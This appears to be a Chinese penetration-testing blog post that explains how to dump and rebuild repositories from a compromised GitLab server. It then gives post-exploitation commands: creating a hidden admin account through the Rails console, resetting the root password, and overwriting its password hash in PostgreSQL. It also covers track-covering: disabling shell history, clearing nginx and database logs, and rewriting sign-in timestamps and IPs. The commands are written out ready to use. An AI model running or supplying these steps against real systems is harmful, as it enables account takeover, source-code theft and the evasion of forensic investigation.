gitlab数据恢复与后渗透
前言
平常渗透实战中,经常遇到gitlab
或者gitea
之类的私有仓库,需要对其进行数据恢复,进而后续审计代码,或者搜集开发的IP等个人信息,故有了此文章。
查资料阶段
根据官网文档可知 https://docs.gitlab.cn/jh/administration/repository_storage_types.html
它采用hash存储方式,存储在@hashed中,根据项目ID顶级文件夹名前两个字符hash和子文件夹的接下来两个字符hash生成。
文档中的默认路径:/var/opt/gitlab/git-data/repositories/@hashed/
所以我们只需要打包它即可。
![null](http://mmbiz.qpic.cn/mmbiz_png/g1X9cMsc6D1udf70IAeLUVt7CDwzEBNjpvQzYyGdoKmbLYMJdz4s1PPGzN4AYGyMpMoxZHTquNLiaxCrNWGWoRA/640?wx_fmt=png&from=appmsg)
再接着看文档,根据 哈希路径到项目名称 这段的描述 我们可以从控制台获取hashed对应的projectid和项目名。或者直接从.git目录中的config文件中获取。
![null](http://mmbiz.qpic.cn/mmbiz_png/g1X9cMsc6D1udf70IAeLUVt7CDwzEBNj6Pd2N0YUS7XGfUMnibkUmDO7kRXa8VoJW6xJMLRMPEQ6KvhrdxyqwIQ/640?wx_fmt=png&from=appmsg)
打开config文件,找到 [gitlab] 下的 fullpath= 键。
![null](http://mmbiz.qpic.cn/mmbiz_png/g1X9cMsc6D1udf70IAeLUVt7CDwzEBNjaBlWzSBDiaoJMmoprKMMjEuXLUhBZzwiaicYhwrIjPhCLpkvMclgEvKqw/640?wx_fmt=png&from=appmsg)
另一种方法,直接从Rails控制台恢复。官方提供的语句如下
ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project
经过查看,我们可以直接循环遍历ProjectRepository,然后获取hash路径和项目名。
ProjectRepository.all.each do |p|
proj = p.project
puts(format("disk_path: %s, proj_name: %s", proj.disk_path,
proj.inspect))
end
这部分ruby语句很清晰,就是each循环遍历ProjectRepository格式化输出项目名和路径。
本来是想直接调用lijiejie
师傅的GitHack进行恢复的,但是发现.git结构里面没有index暂存区文件。无法进行下一步遍历objects,zlib解压文件。
![null](http://mmbiz.qpic.cn/mmbiz_png/g1X9cMsc6D1udf70IAeLUVt7CDwzEBNjZMoJwVUvAgmYfcu65wy6F1qOkpyicAwr2dP2cq8CVaUUrc7J5aF4mYw/640?wx_fmt=png&from=appmsg)
后来翻阅大量资料,git set 的hard命令可以重设index和working tree,所有改变都会被丢弃,包括文件的修改、新增、删除等操作,并把HEAD指向
再根据这个文章可知。我们可以直接将.git的裸仓库转换为非裸仓库,并将当前工作目录重置为最新的提交状态。
https://stackoverflow.com/questions/67699/how-do-i-clone-all-remote-branches/13575102#13575102
mkdir repo
cd repo
git clone --bare path/to/repo.git .git
# git clone -bare http://github.com/test.git .git
git config --unset core.bare
git reset --hard
所以现在的思路就是写脚本批量遍历所有的.git文件,根据hash中的config在本地创建proj_name,然后执行config和set这两条命令进行恢复代码。这个代码是包含所有分支的!!!
代码中遇到的bug就不说了,直接后台回复gitlab
即可获取代码。
后渗透
修改密码(三种方法)
1、添加管理员账户
echo 'user=User.new;user.name="test";user.username="test";user.password="echo123456";user.password_confirmation="echo123456";user.email="test@example.com";user.access_level="admin";user.confirmed_at = Time.zone.now;user.save!' | gitlab-rails console
2、重置管理员密码
1.这里网上说在强调需要root进入容器然后才能进控制台,我这边反弹的shell git用户权限也可以直接进入控制台。使用以下命令启动Ruby on Rails控制台
gitlab-rails console -e production
2.等待一段时间,控制台加载完毕,有多种找到用户的方法,您可以搜索电子邮件或用户名。
user = User.where(id: 1).first //由于管理员用户root为第一个用户,因此用户id为1;
3.现在更改密码,注意,必须同时更改密码和password_confirmation才能使其正常工作。
user.password = '新密码'
user.password_confirmation = '新密码'
4.最后别忘了保存更改。
user.save
3、替换数据库数据
Bcrypt加密的,大概率解密不出来,只能替换了。
1.切换到gitlab用户
su - gitlab-psql
2.设置命令记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
3.连接数据库
psql -h /var/opt/gitlab/postgresql -d gitlabhq_production
4.更新密码
UPDATE users SET encrypted_password= '$2y$10$WhpIuDXpSwCUMEf./c7wR.ogrPGJQmzFxtfexpWqSw2fIoOvxrPCq' WHERE id = 1;
5.查询相关信息,便于对IP和登录时间进行恢复
select * from user where id=1;
痕迹清理
1、密码进行恢复
2、IP和登录时间进行恢复
3、nginx日志清理,数据库操作日志清理。
......
update users SET last_sign_in_at= '2024-02-05 07:56:29.365595' WHERE id = 1;
update users SET current_sign_in_ip= '8.8.8.8' WHERE id = 1;